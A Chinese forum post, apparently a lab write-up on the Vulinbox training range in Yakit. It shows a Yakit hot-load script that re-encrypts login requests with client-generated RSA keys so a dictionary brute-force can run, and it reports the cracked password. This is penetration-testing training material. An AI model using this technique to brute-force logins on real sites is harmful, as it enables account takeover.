渗出测试-前端加密分析之RSA加密登录(密钥来源本地) ...

打印 上一主题 下一主题

主题 781|帖子 781|积分 2343

本文是高级前端加解密与验签实战的第5篇文章,本系列文章实行靶场为Yakit里自带的Vulinbox靶场,本文报告的是绕过前端RSA加密来爆破登录。
分析

generateKey函数用来生成随机的RSA公私钥

加密的格式如下:
  1. {"username":"admin","password":"123456","age":"20"}
复制代码
对数据进行RSA加密,请求包格式:

热加载

这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,终极实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。
  1. encrypt = (packet) => {
  2.     //生成RSA密钥
  3.     publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
  4.     //base64编码
  5.     publicKeyBase64 = codec.EncodeBase64(publicKey)
  6.     privateKeyBase64 = codec.EncodeBase64(privateKey)
  7.     body = poc.GetHTTPPacketBody(packet)
  8.     data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
  9.     data = codec.EncodeBase64(data)
  10.    
  11.     //处理换行符
  12.     publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
  13.     privateKey = str.ReplaceAll(privateKey, "\n", r"\n")
  14.            //构造请求体
  15.     body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
  16.    
  17.     return string(poc.ReplaceBody(packet, body, false))
  18. }
  19. //发送到服务端修改数据包
  20. beforeRequest = func(req){
  21.     return encrypt(req)
  22. }
复制代码
结果:

利用字典爆破,爆破成功,可以看到密码为admin123。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

忿忿的泥巴坨

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表